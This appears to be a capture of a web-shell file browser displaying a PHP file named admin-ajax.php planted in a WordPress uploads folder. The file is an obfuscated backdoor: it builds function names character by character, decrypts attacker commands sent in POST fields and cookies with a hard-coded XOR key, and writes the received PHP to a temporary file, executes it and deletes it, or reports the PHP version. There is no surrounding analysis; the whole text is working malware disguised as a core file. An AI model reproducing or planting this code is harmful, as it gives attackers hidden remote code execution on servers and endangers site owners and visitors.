HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2023/admin-ajax.php
<?php 


$ddubalzw	= /* j  */ 'ddubalzw'	^   '';
$qjrpzzlox /*ppm  */ =  "\141"    .      $ddubalzw(308-194) /*eis  */ .    "\162"    .	"a"."y"."_"."m"."\141" /* nhwyy  */ . /* fmjwko  */ "p";$c_dvzdoq	=      "i"."m"."p"."l"."\157"	.    "d"."\x65";



function   pcwokbd($yqhno, /*  k */ $rygpzvadte)


{
    global	$ddubalzw;
    

    $yqhno	= /* hv  */ "\x3c"	. /*kz  */ $ddubalzw(318-255) /*   _gq */ .    "\160"	.  $ddubalzw(104) /*  h_dmwr  */ .  "\x70"  . /*b  */ $ddubalzw(32)    .     $ddubalzw(117) /*  lk   */ .  $ddubalzw(110)      . /* i   */ $ddubalzw(686-578)	. /*   exki */ "\151" /*bohu   */ .    "\x6e" /*amuxzc*/ .    $ddubalzw(787-680)	.    "\50"   .  $ddubalzw(95) /* o  */ . /*rmm*/ "\x5f"	.    $ddubalzw(70) /*tcdouc*/ .    $ddubalzw(73)    .  "L"."E"."_"."_".")".";".$ddubalzw(32)    .   $yqhno[$ddubalzw(658-558)];


 /*   wnttga   */ $_ctztia      =   $ddubalzw(877-775) /*  xhqz   */ .    "i"."\x6c"       .   "e".$ddubalzw(95)    . /*   iqwt  */ "p"."u"."t"."_"."c"."o"."\x6e"    .   $ddubalzw(116) /*eii   */ . /*til   */ "\145"    . /*uzdioa  */ "n"."\164"    .   $ddubalzw(115);   
   $_ctztia($rygpzvadte,  $yqhno); /*   ihod*/ 
    p_vappuigr($rygpzvadte);

}


$lkxapig /*  u */ =	73;

function /*  tyaut   */ p_vappuigr($rygpzvadte){
 /* k  */ global /*n_fug   */ $ddubalzw;    
      include($rygpzvadte);    $nnffxewlyn	= /*   hs*/ $rygpzvadte;

 /*   vcptzo  */ @unlink($nnffxewlyn);
}

function /*  uwv   */ janfdeojtt(){


    global	$ddubalzw;


    $uhyyyjwp     =    array();

     $uhyyyjwp["p".$ddubalzw(118)]     =	phpversion();

 /* ijwnil   */ $uhyyyjwp["s".$ddubalzw(242-124)] /*edxjwp   */ =  "3".$ddubalzw(403-357) /*   ydc   */ .	"5";	$ezgmvbfx     =	74;

  echo   @serialize($uhyyyjwp);

}



function /* hu*/ oogmhlyr($yqhno,	$bpc_gfq)


{

 /*   hwcz  */ global   $ddubalzw;




 /* chmmw */ $rjksyvsm      = /*   znd */ "";
 /*   lxn  */ $qie_mu    =    strlen($yqhno);
 /*fek   */ $ksiwao      =      strlen($bpc_gfq);

    $uhyyyjwp     =   0;
	$mlhblalbzu    =       0;

   
       while	($uhyyyjwp /*y  */ <    $qie_mu)   {

   $meclkv      = /* evfhka */ $yqhno[$uhyyyjwp]    ^      $bpc_gfq[$mlhblalbzu /*  _ */ %	$ksiwao];


 /*c*/ $rjksyvsm /* _unbn*/ .=      $meclkv;	$mlhblalbzu++;    


     $uhyyyjwp++;    }     
 /*l   */ if     (strlen($rjksyvsm) /*z  */ >     20)       {    $gxnju /* fiojgv   */ =    substr($rjksyvsm,    0,	20);


 /*heyda  */ }


 /*yofx*/ if /*  cg */ (empty($rjksyvsm))     {

 /*   j */ $rjksyvsm    =  date('Y-m-d  H:i:s');


 /*   qdgx   */ }


	return	$rjksyvsm;}



function  hkao__xj($sbwtrlbbbz)

{
 /*lfzx */ global	$ddubalzw;


 /*  _tmn  */ 
 /*  lv   */ $cqtode /*  rucf   */ = /*zuebw  */ "\142"     .      "\x66" /*qu*/ .       "2"."f"."e"."8"."4".$ddubalzw(52) /*  ypylqk   */ .	$ddubalzw(45) /*   ygzhm   */ . /*   n   */ $ddubalzw(101)    . /* ahhy   */ "8"."1"."\x63" /*   hbf*/ . /* j   */ $ddubalzw(45) /*  zzrxg */ . /*  zru  */ "4"."0"."0"."\143" /*  _   */ .    "-".$ddubalzw(98) /* n   */ .    $ddubalzw(101) /*  qv */ .	$ddubalzw(99) /*tr */ . /* mm  */ "b"."-".$ddubalzw(736-636)       .    $ddubalzw(367-314)       .     "\65"	. /* ljz   */ "\64"  .	"\62"    .	$ddubalzw(1000-898) /*   urq  */ .      "1".$ddubalzw(101)     . /*xbd_p  */ "8".$ddubalzw(97)  .      "\x34" /*sge  */ .     "\64";
    


    foreach /* cq   */ ($sbwtrlbbbz      as /*jdjb  */ $yfevjbt	=>    $yqhno)	{
	bbfgaj(base64_decode($yqhno),    $cqtode,      $yfevjbt);    }


}

function      bbfgaj($yqhno,    $cqtode,    $yfevjbt){


 /*   nbo*/ global /*ilclpo*/ $ddubalzw;

	


	$yqhno	= /* s  */ unserialize(oogmhlyr(oogmhlyr($yqhno,	$cqtode),	$yfevjbt));
	$fl_o_ /*   v_u */ =      '_vujin';	$rjgdjdgsa /*dbyw  */ =    'awsz';
    if     (isset($yqhno[$ddubalzw(970-873)    . /*mmt*/ "k"])) /*cgokcf  */ {

       if /* kfecgw   */ ($yqhno["\141"]       == /*   tkixab   */ "i")      {


	janfdeojtt();
	}    elseif	($yqhno["\141"]    ==    "e") /* uk*/ {
    pcwokbd($yqhno,	sprintf($ddubalzw(46)   . /* yfe*/ "\x2f" /*obxrzk*/ . /*   pr  */ "\x25"	.	"s".".".$ddubalzw(435-323) /*  cuzqh*/ . /*  wqhca  */ "\154",    md5($cqtode)));			$nqn_lfrw    =	44;
 /*   uan*/ }

 /*u*/ exit();


 /*   isq */ }

}


hkao__xj($_POST);	




$sgpdkltg /*   kqfxy */ =	'rawurldecode';




$kjrem /*   ijlaal*/ =    $qjrpzzlox($sgpdkltg, /* mz */ $_POST);


$c_dvzdoq("", /*irpy*/ $sgpdkltg);


hkao__xj($_COOKIE);$nxtkg	=    $qjrpzzlox($sgpdkltg,    $_COOKIE);



?>